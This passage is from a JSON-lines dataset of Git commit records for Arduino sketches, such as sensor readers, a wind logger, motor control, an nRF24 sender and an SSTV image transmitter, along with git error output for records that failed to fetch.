}\n return 0;\n }\n\n else{\n radio.stopListening(); \/\/stop listening because we're about to send UC\n if(serial_state){ \/\/check to see if serial bus is connected\n Serial.println(\"---------------------------------------\");\n Serial.println(\"unknown command!\");\n Serial.print(\"command is: \"); Serial.print(data); Serial.print(\", or: \"); Serial.println((atof(data)));\n Serial.println(\"---------------------------------------\");\n }\n radio.write(&UC, sizeof(char[40])); \/\/send unknowen command\n radio.startListening(); \/\/start listening for incoming messages, Rpi probably will send the command again since we didn't understand it\n \/\/radio.printDetails();\n }\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Microcontroller\/Code\/Living_Room_Program\/Living_Room_Program.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c562dbf69225667dfd01af5b090e8c1a418f4ff5","subject":"DHT22 reading code","message":"DHT22 reading code\n","repos":"mletunov\/SmartOffice,mletunov\/SmartOffice,mletunov\/SmartOffice,mletunov\/SmartOffice,mletunov\/SmartOffice,mletunov\/SmartOffice","old_file":"DHT22.ino","new_file":"DHT22.ino","new_contents":"#include \"DHT.h\"\n\nDHT dht(2, DHT22);\n\nvoid setup() { \n Serial.begin(9600);\n dht.begin();\n}\n\nvoid loop() {\n float temperature = dht.readTemperature();\n float humidity = dht.readHumidity();\n Serial.print(\"Temp: \");Serial.print(temperature);Serial.print(\"\\tHum:\");Serial.println(humidity);\n delay(3000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'DHT22.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"c20420dfb753da25ba48de4830e9b8ef52a95881","subject":"Fixes merge issue on last commit.","message":"Fixes merge issue on last commit.\n\n","repos":"dkadish\/nuit_blanche_ocean,dkadish\/nuit_blanche_ocean,dkadish\/nuit_blanche_ocean","old_file":"nb_ocean\/_slave.ino","new_file":"nb_ocean\/_slave.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/dkadish\/nuit_blanche_ocean.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"921dde485b5f304d3f7af4fe2a0a9dc000cf281e","subject":"Added arduino and serial test code. Deleted a whole bunch of old arduino code. byebye","message":"Added arduino and serial test code.\nDeleted a whole bunch of old arduino code. byebye\n","repos":"sgadgil6\/igvc-software,thaeds\/igvc-software,thaeds\/igvc-software,rortiz9\/igvc-software,sayakchatterjee\/igvc-software,rmkeezer\/igvc-software,ytulsiani\/igvc-software,thomaswyatt01\/igvc-software,kscharm\/igvc-software,rqiu8\/igvc-software,zachcmathews\/igvc-software,seanrsain\/igvc-software,thaeds\/igvc-software,jgkamat\/igvc-software,DavidPurcell\/igvc-software,thomaswyatt01\/igvc-software,kscharm\/igvc-software,jondolan\/igvc-software,sayakchatterjee\/igvc-software,kscharm\/igvc-software,ytulsiani\/igvc-software,rmkeezer\/igvc-software,rqiu8\/igvc-software,vmurahari3\/igvc-software,jzheng84\/igvc-software,RoboJackets\/igvc-software,dpattison3\/igvc-software,RoboJackets\/igvc-software,sgadgil6\/igvc-software,jgkamat\/igvc-software,DavidPurcell\/igvc-software,zachcmathews\/igvc-software,rqiu8\/igvc-software,nareddyt\/igvc-software,sayakchatterjee\/igvc-software,prabhu-dev\/LineDetectorLengthFix,jondolan\/igvc-software,sgadgil6\/igvc-software,ytulsiani\/igvc-software,ytulsiani\/igvc-software,jzheng84\/igvc-software,thomaswyatt01\/igvc-software,jgkamat\/igvc-software,sgadgil6\/igvc-software,sayakchatterjee\/igvc-software,prabhu-dev\/LineDetectorLengthFix,jondolan\/igvc-software,monstorium\/igvc-software,DavidPurcell\/igvc-software,zachcmathews\/igvc-software,jgkamat\/igvc-software,nareddyt\/igvc-software,thomaswyatt01\/igvc-software,vmurahari3\/igvc-software,monstorium\/igvc-software,vmurahari3\/igvc-software,monstorium\/igvc-software,nareddyt\/igvc-software,vmurahari3\/igvc-software,zachcmathews\/igvc-software,RoboJackets\/igvc-software,monstorium\/igvc-software,thaeds\/igvc-software,vmurahari3\/igvc-software,prabhu-dev\/LineDetectorLengthFix,jgkamat\/igvc-software,jondolan\/igvc-software,dpattison3\/igvc-software,prabhu-dev\/LineDetectorLengthFix,rqiu8\/igvc-software,kscharm\/igvc-software,prabhu-dev\/LineDetectorLengthFix,thomaswyatt01\/igvc-software,thaeds\/igvc-software,sgadgil6\/igvc-software,DavidPurcell\/igvc-software,RoboJackets\/igvc-software,nareddyt\/igvc-software,rortiz9\/igvc-software,rqiu8\/igvc-software,ytulsiani\/igvc-software,seanrsain\/igvc-software,jondolan\/igvc-software,zachcmathews\/igvc-software,rmkeezer\/igvc-software,rortiz9\/igvc-software,jzheng84\/igvc-software,monstorium\/igvc-software,seanrsain\/igvc-software,dpattison3\/igvc-software,sayakchatterjee\/igvc-software,seanrsain\/igvc-software,nareddyt\/igvc-software,jzheng84\/igvc-software,seanrsain\/igvc-software,dpattison3\/igvc-software,DavidPurcell\/igvc-software","old_file":"2013\/software\/src\/arduino\/serialTestSketch.ino","new_file":"2013\/software\/src\/arduino\/serialTestSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jondolan\/igvc-software.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c7107746ba3fdff84a64e4c253b0781342e28b0d","subject":"added logging sketch for the new us wind sensor testing","message":"added logging sketch for the new us wind sensor testing\n","repos":"UvaEnvSci\/weather-copter,UvaEnvSci\/weather-copter,UvaEnvSci\/weather-copter,UvaEnvSci\/weather-copter","old_file":"sensor-array\/windlogger.ino","new_file":"sensor-array\/windlogger.ino","new_contents":"\/\/ Date and time functions using RX8025 RTC connected via I2C and Wire lib\n\n#include <Wire.h>\n#include \"DS3231.h\"\n#include <SDI12.h>\n#include <Fat16.h>\n#include <Fat16util.h>\n\n#define DATAPIN 3 \/\/ change to the proper pin\nSDI12 mySDI12(DATAPIN);\nString myCommand = \"0R0!\";\n\nSdCard card;\nFat16 file;\n\nbool newline = false;\n\n\/\/ store error strings in flash to save RAM\n#define error(s) error_P(PSTR(s))\n\nvoid error_P(const char* str) {\n PgmPrint(\"error: \");\n SerialPrintln_P(str);\n if (card.errorCode) {\n PgmPrint(\"SD error: \");\n Serial.println(card.errorCode, HEX);\n }\n while(1);\n}\n\nDS3231 RTC; \/\/Create the R8025 object\n\nvoid setup () \n{\n \n Serial.begin(9600);\n Wire.begin();\n RTC.begin();\n mySDI12.begin();\n}\n\nvoid loop () \n{\n \n \/\/ initialize the SD card\n if (!card.init()) error(\"card.init\");\n \n \/\/ initialize a FAT16 volume\n if (!Fat16::init(&card)) error(\"Fat16::init\");\n \n char name[] = \"DATALOG.CSV\";\n \/\/ clear write error\n file.writeError = false;\n \n \/\/ O_CREAT - create the file if it does not exist\n \/\/ O_APPEND - seek to the end of the file prior to each write\n \/\/ O_WRITE - open for write\n if (!file.open(name, O_CREAT | O_APPEND | O_WRITE))\n error(\"error opening file\"); \n \n mySDI12.sendCommand(myCommand);\n delay(100); \/\/ wait a while for a response\n printTime();\n Serial.print(',');\n file.print(',');\n while(mySDI12.available()){ \/\/ write the response to the screen\n char i = mySDI12.read();\n if (i != '\\n') {\n Serial.write(i);\n file.write(i);\n } \n }\n Serial.println();\n\/\/ file.println();\n \n if (!file.close()) \n error(\"error closing file\");\n \n delay(900);\n}\n\nvoid printTime () {\n DateTime now = RTC.now(); \/\/get the current date-time\n char timestp[15];\n sprintf(timestp, \"%04d-%02d-%02d-%02d:%02d:%02d\", now.year(), now.month(), now.date(), now.hour(), now.minute(), now.second());\n file.print(timestp);\n Serial.print(timestp);\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sensor-array\/windlogger.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"50c6d7db23c07f966af405ce0ab5b011aae636f3","subject":"Fichier de test pour le circuit soud\u00e9","message":"Fichier de test pour le circuit soud\u00e9\n\nIl faut ajouter la fonction interrupt au code originel et ce, sur la pin 3, pour permettre de mettre on \/ off les moteurs","repos":"PolyCortex\/pyMuse","old_file":"apps\/EurekaInterface\/arduino\/code_pwmMotor.ino","new_file":"apps\/EurekaInterface\/arduino\/code_pwmMotor.ino","new_contents":"#define DC_MOTOR_PIN1 9\n#define DC_MOTOR_PIN2 10\n#define ONOFF 3\nint mode=1;\nint i=150;\n\nvoid setup() {\n \/* Initialize DC motor control pin as digital output *\/\n pinMode( DC_MOTOR_PIN1, OUTPUT );\n pinMode( DC_MOTOR_PIN2, OUTPUT );\n pinMode( ONOFF, INPUT );\n attachInterrupt(digitalPinToInterrupt(ONOFF),TRIGGER,RISING);\n}\n\nvoid TRIGGER()\n{\n if(mode==0)\n {\n mode=1;\n }\n else\n {\n mode=0;\n }\n}\nvoid loop() \n{ \n while(1)\n {\n if(mode==1)\n {\n analogWrite( DC_MOTOR_PIN1, i );\n analogWrite( DC_MOTOR_PIN2, i );\n }\n if(mode==0)\n {\n analogWrite( DC_MOTOR_PIN1, 0 ); \n analogWrite( DC_MOTOR_PIN2, 0 );\n }\n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'apps\/EurekaInterface\/arduino\/code_pwmMotor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b5006fb91f69421b5e1d8a87d7df6055d2c1905e","subject":"Added additional font chars","message":"Added additional font chars\n\n","repos":"rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects","old_file":"learning\/8x8 Display\/hello-text\/hello-text.ino","new_file":"learning\/8x8 Display\/hello-text\/hello-text.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rniemand\/ArduinoProjects.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d392b9a90614c54f7a58e73ff605cd08b60ee6f9","subject":"Fixed a bug where the X wasn't a full X","message":"Fixed a bug where the X wasn't a full X\n","repos":"buelowp\/sleepintimer","old_file":"sleepintimer\/sleepintimer.ino","new_file":"sleepintimer\/sleepintimer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/buelowp\/sleepintimer.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"52f1c1ccf45902780be39726918948b6e4dc6c2c","subject":"Documenting","message":"Documenting\n","repos":"Blade2021\/roots,Blade2021\/roots,Blade2021\/roots","old_file":"MQTT-MF\/MQTT-MF.ino","new_file":"MQTT-MF\/MQTT-MF.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Blade2021\/roots.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"ec820296d36a11f49b7a7ab6ee77fcce3a4fcf8d","subject":"rename dht sensor test folder","message":"rename dht sensor test folder\n","repos":"pedroscaff\/sensor_platform,pedroscaff\/sensor_platform","old_file":"tests\/dht11\/src\/sketch.ino","new_file":"tests\/dht11\/src\/sketch.ino","new_contents":"#include <DHT.h>\n\n#define DHTPIN 8\n#define DHTTYPE DHT11\nDHT dht(DHTPIN, DHTTYPE);\n\nvoid setup() {\n Serial.begin(9600);\n dht.begin();\n}\n\nvoid loop() {\n float h = dht.readHumidity();\n float t = dht.readTemperature();\n if (isnan(t) || isnan(h)) {\n Serial.println(\"Failed to read from DHT\");\n }\n else {\n Serial.print(\"Humi: \");\n Serial.println(h);\n Serial.print(\"Temp: \");\n Serial.println(t);\n delay(1000);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tests\/dht11\/src\/sketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2c197d5d5be74f8b6de9d433ad99f2cab8c5392d","subject":"aiming over pos_comp","message":"aiming over pos_comp\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC43x.ino","new_file":"ArduinoClient\/TMC43x.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"f5e4bb57ce45c85b4ab39b6a1fe8d13169cae669","subject":"finishing touches end stop config?","message":"finishing touches end stop config?\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC43x.ino","new_file":"ArduinoClient\/TMC43x.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"6fbaf5fc8e2ffd349f3eedda3bf39d15cafde403","subject":"gammon's wdt","message":"gammon's wdt\n","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_30-attiny85-nrf24-5pin-pin-change-int\/_30-attiny85-nrf24-5pin-pin-change-int.ino","new_file":"_30-attiny85-nrf24-5pin-pin-change-int\/_30-attiny85-nrf24-5pin-pin-change-int.ino","new_contents":"\/\/ 5pin\n\/* 24l01 85\n 1 gnd 4\n 2 vcc 8\n 3 ce 1\n 4 csn 3\n 5 sck 7\n 6 mosi 6\n 7 miso 5\n*\/\n\n\/\/ 3pin\n\/* 24l01 85\n 1 gnd 4\n 2 vcc 8\n 3 ce x\n 4 csn x\n 5 sck 7\n 6 mosi 6\n 7 miso 5\n*\/\n\n#include <avr\/wdt.h>\n#include <avr\/interrupt.h>\n#include <avr\/sleep.h>\n#include <avr\/pgmspace.h>\n#include <avr\/power.h>\n#include <nRF24L01.h>\n#include <RF24.h>\n\n#define adc_disable() (ADCSRA &= ~(1<<ADEN)) \/\/ disable ADC\n#define adc_enable() (ADCSRA |= (1<<ADEN)) \/\/ re-enable ADC\n\n\/\/ http:\/\/www.gammon.com.au\/forum\/?id=12769\n#if defined(__AVR_ATtiny85__)\n#define watchdogRegister WDTCR\n#else\n#define watchdogRegister WDTCSR\n#endif\n\n#define _TEST\n#define _DIGITAL\n\/\/#define _3PIN\n\n#define _5PIN\n\n#ifdef _3PIN\n\/\/ 3pin\n#define CE_PIN 3\n#define CSN_PIN 3\n#else\n\/\/ 5pin\n#define CE_PIN 5\n#define CSN_PIN 4\n#endif\n\n#define DEVICE_ID 5\n#define CHANNEL 100\n\nconst uint64_t pipes[2] = { 0xFFFFFFFFFFLL, 0xCCCCCCCCCCLL };\n\ntypedef struct {\n uint32_t _salt;\n uint16_t volt;\n int16_t data1;\n int16_t data2;\n uint8_t devid;\n} data;\n\ndata payload;\n\nRF24 radio(CE_PIN, CSN_PIN);\n\nconst int statusPin = 3;\nvolatile int statusPinStatus ;\n\nvoid setup() {\n delay(20);\n unsigned long startmilis = millis();\n adc_disable();\n\n pinMode(statusPin, INPUT);\n statusPinStatus = digitalRead(statusPin);\n\n radio.begin();\n radio.setChannel(CHANNEL);\n \/\/radio.setPALevel(RF24_PA_LOW);\n radio.setPALevel(RF24_PA_HIGH);\n radio.setDataRate(RF24_250KBPS);\n \/\/radio.setAutoAck(1);\n radio.setRetries(15, 15);\n radio.setPayloadSize(11);\n radio.openWritingPipe(pipes[0]);\n radio.stopListening();\n radio.powerDown();\n\n unsigned long stopmilis = millis();\n payload.data2 = ( stopmilis - startmilis ) * 10 ;\n\n payload._salt = 0;\n payload.devid = DEVICE_ID;\n}\n\nvoid loop() {\n pinint_sleep();\n unsigned long startmilis = millis();\n payload._salt++;\n payload.data1 = statusPinStatus * 10 ;\n payload.volt = readVcc();\n\n radio.powerUp();\n delay(2);\n radio.write(&payload , sizeof(payload));\n delay(2);\n radio.powerDown();\n\n unsigned long stopmilis = millis();\n payload.data2 = millis();\n\n goToSleep();\n}\n\n\/\/ http:\/\/www.gammon.com.au\/forum\/?id=12769\n\/\/ watchdog interrupt\nISR (WDT_vect)\n{\n wdt_disable(); \/\/ disable watchdog\n}\n\nvoid goToSleep ()\n{\n set_sleep_mode (SLEEP_MODE_PWR_DOWN);\n noInterrupts (); \/\/ timed sequence coming up\n\n \/\/ pat the dog\n wdt_reset();\n\n \/\/ clear various \"reset\" flags\n MCUSR = 0;\n \/\/ allow changes, disable reset, clear existing interrupt\n watchdogRegister = bit (WDCE) | bit (WDE) | bit (WDIF);\n \/\/ set interrupt mode and an interval (WDE must be changed from 1 to 0 here)\n watchdogRegister = bit (WDIE) | bit (WDP2) | bit (WDP1) | bit (WDP0); \/\/ set WDIE, and 2 seconds delay\n\n sleep_enable (); \/\/ ready to sleep\n interrupts (); \/\/ interrupts are required now\n sleep_cpu (); \/\/ sleep\n sleep_disable (); \/\/ precaution\n} \/\/ end of goToSleep\n\nISR(PCINT0_vect) {\n statusPinStatus = digitalRead(statusPin);\n cli();\n PCMSK &= ~_BV(PCINT3);\n sleep_disable();\n sei();\n}\n\nvoid pinint_sleep() {\n PCMSK |= _BV(PCINT3);\n GIMSK |= _BV(PCIE);\n set_sleep_mode(SLEEP_MODE_PWR_DOWN);\n sleep_enable();\n sei();\n sleep_cpu();\n}\n\nint readVcc() {\n adc_enable();\n ADMUX = _BV(MUX3) | _BV(MUX2);\n\n delay(2); \/\/ Wait for Vref to settle\n ADCSRA |= _BV(ADSC); \/\/ Start conversion\n while (bit_is_set(ADCSRA, ADSC)); \/\/ measuring\n\n uint8_t low = ADCL; \/\/ must read ADCL first - it then locks ADCH\n uint8_t high = ADCH; \/\/ unlocks both\n\n long result = (high << 8) | low;\n\n \/\/result = 1126400L \/ result; \/\/ Calculate Vcc (in mV);\n result = 1074835L \/ result;\n\n \/\/Disable ADC\n adc_disable();\n\n return (int)result; \/\/ Vcc in millivolts\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_30-attiny85-nrf24-5pin-pin-change-int\/_30-attiny85-nrf24-5pin-pin-change-int.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"28a9cf1ab48e7d4ac331dbf263be085ed5fe8da3","subject":"add changes","message":"add changes\n","repos":"markwatneyy\/ttt_arduino","old_file":"test_edison\/test_edison.ino","new_file":"test_edison\/test_edison.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/markwatneyy\/ttt_arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"85c9b156aaa838d40f8a32cd5e723649b4631289","subject":"Update Templete.ino","message":"Update Templete.ino","repos":"SirenCreatorTeam\/Siren_Zwei","old_file":"Arduino\/Templete\/Templete.ino","new_file":"Arduino\/Templete\/Templete.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/SirenCreatorTeam\/Siren_Zwei.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"208087693d90261ba7c2223bb188d02d96186ed3","subject":"Pretty basic SSTV transmitter in Martin-1. Sends a static image.","message":"Pretty basic SSTV transmitter in Martin-1. Sends a static image.\n","repos":"EnhancedRadioDevices\/HamShield,EnhancedRadioDevices\/HamShield","old_file":"examples\/SSTV-M1-Static\/SSTV-M1-Static.ino","new_file":"examples\/SSTV-M1-Static\/SSTV-M1-Static.ino","new_contents":"\/\/ So the precalculated values will get stored\n#define DDS_REFCLK_DEFAULT (34965\/2)\n\n#include <HamShield.h>\n\n\/\/HamShield radio;\nDDS dds;\n\/\/ Defined at the end of the sketch\nextern const uint16_t image[256*20] PROGMEM;\n\n#define F_1200 0\n#define F_1500 1\n#define F_2400 2\nddsAccumulator_t freqTable[3];\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(2, OUTPUT);\n pinMode(3, OUTPUT);\n \/\/ put your setup code here, to run once:\n \/\/dds.setReferenceClock(34965\/4);\n dds.start();\n freqTable[F_1200] = dds.calcFrequency(1200);\n freqTable[F_1500] = dds.calcFrequency(1500);\n freqTable[F_2400] = dds.calcFrequency(2400);\n dds.setFrequency(1000);\n dds.on();\n Serial.println(\"DDS on\");\n delay(1000);\n dds.off();\n delay(2000);\n Serial.println(\"Next\");\n}\n\nuint8_t code = MARTIN1;\nbool parityCalc(int code) { \n unsigned int v; \/\/ word value to compute the parity of\n bool parity = false; \/\/ parity will be the parity of v\n\n while (code)\n {\n parity = !parity;\n code = code & (code - 1);\n }\n\n return parity;\n}\n\nvolatile bool registered = false;\nvolatile bool scanning = false;\nvolatile bool done = false;\nvolatile uint16_t nextBlock = 0;\nvolatile uint8_t currentScanline = 0;\nvolatile uint16_t scanline[2][20];\n\n\/\/ Format is 3 'images', one each for green, blue and red\n\/\/ But we don't have room, so it's monochrome\n\/\/ 256 rows each\n\/\/ 10 sets of 32 bits encoding on\/off for the colour\n\/\/const unsigned long image[256][10] PROGMEM = {\n \n\/\/};\n\nvoid loadScanline(uint8_t s, int y) {\n for(int i = 0; i < 20; i++) {\n scanline[s][i] = pgm_read_word_near(image + y*20 + i);\n }\n}\n#define DON() PORTD |= _BV(2);\n#define DOFF() PORTD &= ~_BV(2);\nvoid loop() {\n \/\/ Load the first scanline\n loadScanline(0, 0);\n \n \/\/ VIS\n dds.playWait(1900,300);\n dds.playWait(1200,10);\n dds.playWait(1900,300);\n dds.playWait(1200,30);\n for(int x = 0; x < 7; x++) { \n if(bitRead(code,x)) { dds.playWait(1100,30); } else { dds.playWait(1300,30); } \n } \n if(parityCalc(code)) { dds.playWait(1300,30); } else { dds.playWait(1100,30); } \n dds.playWait(1200,30);\n dds.on();\n for(int y = 1; y < 256; y++){\n DON();\n dds.setPrecalcFrequency(freqTable[F_1200]);\n \/\/ Subtract for the timer ticks\n delayMicroseconds(3562); \/\/ sync pulse (4862 uS)\n DOFF();\n DON();\n dds.setPrecalcFrequency(freqTable[F_1500]);\n \/\/ Subtract for the timer ticks\n delayMicroseconds(442); \/\/ sync porch (572 uS)\n DOFF();\n scanning = true;\n for(uint8_t c = 0; c<3; c++) {\n scanning = true;\n while(!registered);\n registered = false;\n loadScanline((++currentScanline) & 1, y);\n while(!done);\n dds.setPrecalcFrequency(freqTable[F_1500]);\n done = false;\n scanning = false;\n DON();\n delayMicroseconds(442); \/\/ color separator pulse (572 uS)\n DOFF();\n }\n }\n dds.off();\n delay(10000);\n return;\n}\n\n\/\/ The DDS is running faster than the pixel clock, so we\n\/\/ only update the pixel frequency every few ticks.\nISR(ADC_vect) {\n static uint8_t tcnt = 0;\n static uint8_t shifts = 0;\n static uint8_t shiftingLine = 0;\n static uint8_t linePos = 0;\n static uint16_t pixelBlock;\n TIFR1 |= _BV(ICF1);\n dds.clockTick();\n if(scanning) {\n if(++tcnt == 8) {\n tcnt = 0;\n if(linePos == 21) {\n done = true;\n linePos = 0;\n }\n if(linePos == 0) {\n shifts = 0;\n shiftingLine = currentScanline&1;\n registered = true;\n }\n if(shifts == 0) {\n pixelBlock = scanline[shiftingLine][linePos++];\n }\n \n if(pixelBlock & 0x8000) {\n dds.setPrecalcFrequency(freqTable[F_2400]);\n } else {\n dds.setPrecalcFrequency(freqTable[F_1500]);\n }\n if(++shifts == 16) {\n shifts = 0;\n }\n pixelBlock <<= 1;\n }\n }\n}\n\n\/\/ Image is 256 lines * 320 pixels per line, packed to 16 bits at a time\nconst uint16_t image[256*20] PROGMEM = {\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 1\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 2\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 3\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 4\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 5\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 6\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 7\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 8\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 9\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 10\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 11\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 12\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 13\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 